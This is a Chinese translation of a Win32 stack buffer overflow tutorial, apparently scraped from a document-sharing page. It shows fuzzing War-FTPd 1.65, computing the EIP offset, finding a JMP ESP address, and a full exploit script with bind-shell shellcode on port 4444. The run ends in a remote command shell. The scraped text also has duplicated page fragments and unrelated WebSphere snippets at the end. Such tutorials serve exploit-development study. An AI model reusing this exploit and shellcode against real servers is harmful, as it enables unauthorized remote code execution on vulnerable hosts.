Microsoft Word - Win32 缓冲区溢出实战.doc

Size: px

Start display at page:

Download "Microsoft Word - Win32 缓冲区溢出实战.doc"

绕洪
5 years ago
Views:

1 Win32 缓冲区溢出实战原文 : Intro to Win32 Exploits 作者 :Sergio Alvarez 译者 :cloie#ph4nt0m.org 一前序很多次被朋友邀请写篇关于在 Win32 下 Exploit 的文章一来是因为此类文章中关于 *nix 平台比较多, 而 Win32 相对较少 ; 二来是因为在 Win32 中写 exploit 有些地方可能困难一点以下我将用一个具体的简单例子, 详细分析漏洞的发现挖掘调试以及 exploit 编写利用, 这里选择 'War-FTPd vl.65' 的一个 stack 缓冲区溢出漏洞首先, 需要准备以下实战工具 : python - pyopenssl - Ollydbg - OllyUni by FX of Phenoelit - War-Ftpd version 1.65 by jgaa - Fuzzer vl ( 译者注 ) 因为 pyopenssl 可以找到针对 python 2.2.x 的 win32 编译版, 所以 python 安装 2.2.x 会比较方便二挖掘漏洞能够实时调试在漏洞挖掘过程中, 是非常重要的, 可以知道究竟发生了什么下面用 Ollydbg 打开要调试的程序 'War-FTPd vl.65': 运行 'Ollydbg' File->Open (or press F3) ( 图一 ) 浏览到安装 'War-FTPd vl.65' 的目录然后选择 'war-ftpd.exe' file ( 图二 ) Debug->Run (or press F9) ( 图三 ) 在 War-Ftp 窗口菜单中运行 ->'Start Service'( 图四 ) 启动程序后, 可能会有些 explaination, 按照提示 (shift+f7/f8/f9) 跳过即可不管程序是由 Ollydbg( 其他调试工具也一样 ) 启动 (Open) 的, 还是附加 (attached) 方式的, 进程都将被调试器挂起, 我们需要使程序继续运行

2 图一图二图三

$图四 OK, 现在 War-FTPd 已经运行了, 接下来我们用 fuzzer 来帮助我们挖掘软件漏洞 : C:\fuzzer>fuzzer.$

3 图四 OK, 现在 War-FTPd 已经运行了, 接下来我们用 fuzzer 来帮助我们挖掘软件漏洞 : C:\fuzzer>fuzzer.py ##################################### # Net-Twister Fuzzer Module # # Coded by Sergio 'shadown' Alvarez # ##################################### Usage: C:\fuzzer\fuzzer.py <host> <port> <protocol> protocols available: smtp, ftp, pop3 我们选择 FTP 模式进行测试 : C:\fuzzer>fuzzer.py ftp 看到以下显示信息 : <**> It was suppose to recv something, but recv nothing CHECKIT! <**> 或者还有如下信息 : <**> Bug found!!! ;)) <**> -> Sending: USER

4 AAAAAAAAAA 让我们查看一下 Ollydbg 底部的状态栏, 显示了 'Access Violation when executing [ ]..' 的信息, 右上角窗口显示 EIP 的值为地址指向 , 如图五图五

5 这就意味着,FTP 认证部分的 USER 命令上存在着缓冲区溢出, 超长的字符串覆盖了 EIP 接下来我们将不停的尝试调试这个 BUG, 由于每次调试都可能造成 War-Ftpd 进程死掉, 你可以在中通过 'Debug->Restart' 来重启进程三调试漏洞发现了软件漏洞, 我们可以通过覆盖 EIP 来改变程序原有的运行流程, 跳转去运行我们安排的 shellcode 为实现这个目的, 必须知道两个要素, 多长的字符串可以覆盖到 EIP, 还有就是我们安排的 shellcode 放在了什么地方这跟 LINUX 中很相似, 当然, 我们也将看到一些 Win32 特有的部分正如上面所见, 现在覆盖 EIP 的是 , 究竟多少长的 buffer 可以覆盖到内存中的 EIP 呢? 我写了一个简单的脚本 'reacheip.py', 可以生成都是数字排列的 buffer, 并且可以通过修改参数来修改数字的排列和长度, 方便我们找到需要构建的 buffer 长度脚本简单原理如下, 这里我们先假设寄存器大小是 1byte: a. 首先生产如下数字串 b. 然后我们看到某个数字覆盖了 EIP( 假设 EIP 大小是 1byte), 假设是 2, 然后我们重新构建数字串, 只改变原来数字 2 所在的位置, 其他位置数字忽略或不变 c. 现在某个数字又覆盖了 EIP, 假设是 4, 这样我们就可以计算出 buffer 的真实长度, 用于写 exploit 了 ( 译者注 : 因为只是简单说明一下脚本的功能, 所以这里作者并没有提及这个数字 4 是排列中第几个 4) 现实中 X86 机器中寄存器是 4byte 的, 所以我们将上面的数字串扩展到 4 个数字相同的排列实际调试中又发现, 有时候并不是刚好相同的 4 个数字覆盖了 EIP, 比如是 4445, 所以我们在 buffer 的开头加入一个 align 字符, 比如 A, 将 buffer 挤动一位, 这样覆盖 EIP 的数字串就是 4444 了有了 'reacheip.py' 脚本的构建 buffer 功能, 还需要有发送和接收功能 ( 网络发送和接收 ), 将 'reacheip.py' 作为一个 'library', 重新组合一下得到新脚本 'reachwar-ftpd.py', 用来专门调试 War-Ftpd: 简单解释一下这个脚本的参数 : C:\fuzzer>reach_war-ftpd.py Usage: C:\fuzzer>reach_war-ftpd.py <host> <port> <align> <toreach> <repeat> <cycles> <firstreached> host: 目标主机的地址 port: 目标主机的端口 align: 放在数字串之前的填充数据个数 (1-3)

6 toreach: 在新数字串中需要被替换的数字 (1-9) repeat: 构建数字串的个数 ( 指修改重建后的某段数字串 ) cycles: 第几次替换 (1-2) firstreached: 前一次被替换的数字 (1-9) 下面对 War-Ftpd 进行实战 : 首先, 最初的数字串为类似, 重复 200 次, 总数字串个数为 4*200=800: C:\fuzzer>reach_war-ftpd.py Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. Buffer size: User name okay, Need password. 这个时候查看 Ollydbg, 如下图看到信息显示信息 'Access violation when executing [ ]', 覆盖 EIP 的是数字串是 , 显然我们需要移动 buffer 中的数字串, 使之覆盖 EIP 的使数字串这里显示的 HEX 十六进制的数字, 我们可以从 ASCII 表中得到每个字母或者数字对应的 HEX 值, 比如 '1' = 31, '2' = 32, '3' = 33, '4' = 34, '5' = 35,..., '9' = 39, 如果在 LINUX 系统, 可以直接输入命令 'man ascii' 查看对应表

7 调整后再测试, 这个时候的数字串为 A : C:\fuzzer>reach_war-ftpd.py Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. Buffer size: User name okay, Need password. 这个时候查看 Ollydbg, 如下图看到信息显示信息 'Access violation when executing [ ]', 看来数字 5 是我们需要替换的了, 替换之, 即原来是 5555 的地方依次用 1111, 2222,3333, 替换, 其他位置的数字无关紧要会全部用 A 替换 : C:\fuzzer>reach_war-ftpd.py Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. Buffer size: User name okay, Need password. Check in Ollydbg!

$这个时候查看 Ollydbg, 如下图看到覆盖 EIP 的还是 5555, 我们还需要第二次替换它, 即将上一次 buffer 中 5555 的位置用 1111,2222,3333, 依次替换如下 : C:\fuzzer>reach_war-ftpd.py 192.168.178.$

8 这个时候查看 Ollydbg, 如下图看到覆盖 EIP 的还是 5555, 我们还需要第二次替换它, 即将上一次 buffer 中 5555 的位置用 1111,2222,3333, 依次替换如下 : C:\fuzzer>reach_war-ftpd.py Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. Buffer size: User name okay, Need password. Check in Ollydbg! 这个时候查看 Ollydbg, 如下图

9 这次覆盖 EIP 的是 , 即 2222, 这样我们就可以得到 buffer 覆盖 EIP 时候的需要长度了先脱离 'reachwar-ftpd.py', 直接用 'reacheip.py' 来打印出这个时候的 buffer: C:\fuzzer>reach_war-ftpd.py Buffer size: 3401 AAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333

10 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ( 下面省略无关显示 ) 然后将 2222 之前的显示拷贝 (Win2k 的 cmd 下鼠标圈选, 回车拷贝到内存中, 需要粘贴的地方右键 ), 以备下面用 : C:\fuzzer> python -c "print len('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')" 485 这样我们就得到了我们想知道的长度 485 更加简单的方法就是直接用 'reacheip.py', 原理其实是一样的, 其他情况可以修改参数同样获得 : C:\fuzzer>reach_eip.py Buffer size: 485 AAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 现在我们知道了 buffer 的长度, 我们可以初步调试来利用这个漏洞构建形如 'USER ' + '485 bytes long string' + 'a test RET ADDR', 实际中如 'triggerdeadbeef.py' 脚本 : C:\fuzzer>type trigger_deadbeef.py import struct print 'USER '+'\x41'*485+struct.pack('<l', 0xdeadbeef)

11 我们用 nc 来发送这个 buffer: C:\fuzzer>trigger_deadbeef.py nc Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. 这个时候按 CTRL+C 停止 'nc', 在 Ollydbg 中如下图显示信息为 'Access violation when executing [DEADBEEF]', 看来很好的覆盖了 EIP 接下来做第二步工作, 寻找 shellcode 的位置, 这里就遇到 LINUX 跟 Win32 有区别的地方了从上面可以看到, 这个时候 stack 中的地址都是类似 0x00A4FDD0, 要用这样的地址值覆盖 EIP 是不妥的, 因为里面包含了 0x00, 不能用于 RET ADDRESS( 原理参考其他文档 ) 仔细查看 stack(ollydbg 中右下角窗口 ) 中, 发现 ESP 的地址紧跟在 EIP 后面不远的地方, 就相隔 4 bytes 这就是 Win32 中 exploit 的另一条罗马大道 ( 详细原理分析看莫大经典文章 ) 了, 将 shellcode 放在这个时候 ESP 地址开始的地方, 在 EIP 位置用一个 'JMP ESP' 的地址覆盖, 这样就可以很好的执行我们的 shellcode 了但是如何找到 'JMP ESP' 的地址呢? 可以从互联网上搜索到针对特定系统的值, 也有一些通用的地址这里提供一种方法手工在自己系统上获得, 利用了 Ollydbg 的一个插件, 即 OllyUni by FX of Phenoelit, 将 OllyUni.dll 拷贝到 Ollydbg 目录下即可用, 使用方法 Ollydbg 中左上窗口右键, 选 'Overflow Return Address->ASCII overflow returns->search JMP/CALL ESP', 如下图 :

12 搜索的时间会有一点长, 结束后 'View->Log', 看到很多地址值, 选一个没有 0x00 的即可 PS, 利用 lion 那个 sac.exe 可以达到同样的效果

13 四漏洞利用 (exploit) 一个简单的利用脚本如下 : C:\fuzzer>type exp_beta.py import struct sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"

14 "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" print 'USER '+'\x41'*485+struct.pack('<l', 0x750362c3)+'\x42'*32+sc 实际利用一下, 需要注意的是 0x750362c3 是作者系统上的 'JMP ESP' 地址, 不同系统平台获得的 'JMP ESP' 地址是不一样的其中 '\x41' 和 '\x42' 类似 NOP, 会增加一些寄存器的值, 在这里不会影响 exploit Sc 是 shellcode, 会绑定一个 shell 在 4444 端口测试一下 : C:\fuzzer> exp_beta.py nc Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. 这个时候 CTRL+C 停止 nc, 看看有没有成功溢出 : C:\fuzzer> $ telnet Trying Connected to Escape character is '^]'. Microsoft Windows 2000 [Version ] (C) Copyright Microsoft Corp. C:\Program Files\War-ftpd> OK, 测试成功 ^_^ 五译者心得首先, 感谢作者, 给了我们一篇如此详细如此经典的文章, 可以说是面面俱到, 图文并茂, 无论怎样的赞誉我想都是作者受之无愧的文章从漏洞发现漏洞调试到漏洞利用, 详细讲解如何找到 buffer 长度, 如何寻找 'JMP ESP' 地址, 如何写 exploit 对于初学者, 这样的文章很值得好好学习哦

15 再者, 本文的可扩展性非常好比如确定 buffer 长度部分, 如果 buffer 过长, 即替换次数超过 2 次 ( 不知道会不会有这样的情况 ), 假设 CCPROXY 6.0 那个 HTTP LOG 溢出的 buffer, 你可能需要通过修改 reach_eip.py 来实现第三次替换同样的,fuzzer 可以挖掘 War-Ftpd 的 BUG, 也可以尝试用同样的方法挖掘其他 FTPD 的漏洞比如最近发布的 Ability Server 2.34 FTP STOR Buffer Overflow, 就是这篇文章的实践同样, 还可以对 SMTP 或者 POP 进行挖掘, 如果你对 yahoopops 0.6 进行测试, 你也可以发现那个 SMTP 的溢出漏洞修改一下, 也可以支持其他协议作者唯一没有提及的就是 exploit 中 '\x42'*32, 在调试的时候, 明明看到 EIP 和 ESP 相差只是 4 bytes, 为什么这里用 32 bytes 填充呢? 这个问题困扰了译者很久, 因为作者其他文章都没有英文版, 所以他在其他文章里提及过此问题也说不定后来经幻影的肉肉帮助, 从单步执行查看具体发生什么这点入手, 终于明白这里的 32 bytes 其实是跟 shellcode 有关系的仔细看上面的 sc, 里面有一个机器码 '\x5b', 汇编句就是 'POP EBX', 执行这句的时候可能跟其他一些寄存器的值有关联, 而 '\x42' 的汇编句是 'INC EDX', 至于如何关联, 就要请高手解答了如果换一个 shellcode, 则只需 4 bytes 的数据填充即可, 这样一来, 思路就清晰多了, 千万不要被那 32 bytes 混淆了趁周末翻译完了这篇文章, 在此特别感谢幻影的所有成员, 感谢在译者学习过程中给予莫大帮助的网友, 谢谢翻译不对不妥之处请来信纠正最后以 ipxodi 前辈推荐的一句警句让我们共勉 : "If you assume that there's no hope, you guarantee there will be no hope. If you assume that there is an instinct for freedom, there are opportunities to change things." -Noam Chomsky

WebSphere Studio Application Developer IBM Portal Toolkit... 2/21 1. WebSphere Portal Portal WebSphere Application Server stopserver.bat -configfile..

WebSphere Studio Application Developer IBM Portal Toolkit... 1/21 WebSphere Studio Application Developer IBM Portal Toolkit Portlet Doug Phillips (dougep@us.ibm.com),, IBM Developer Technical Support Center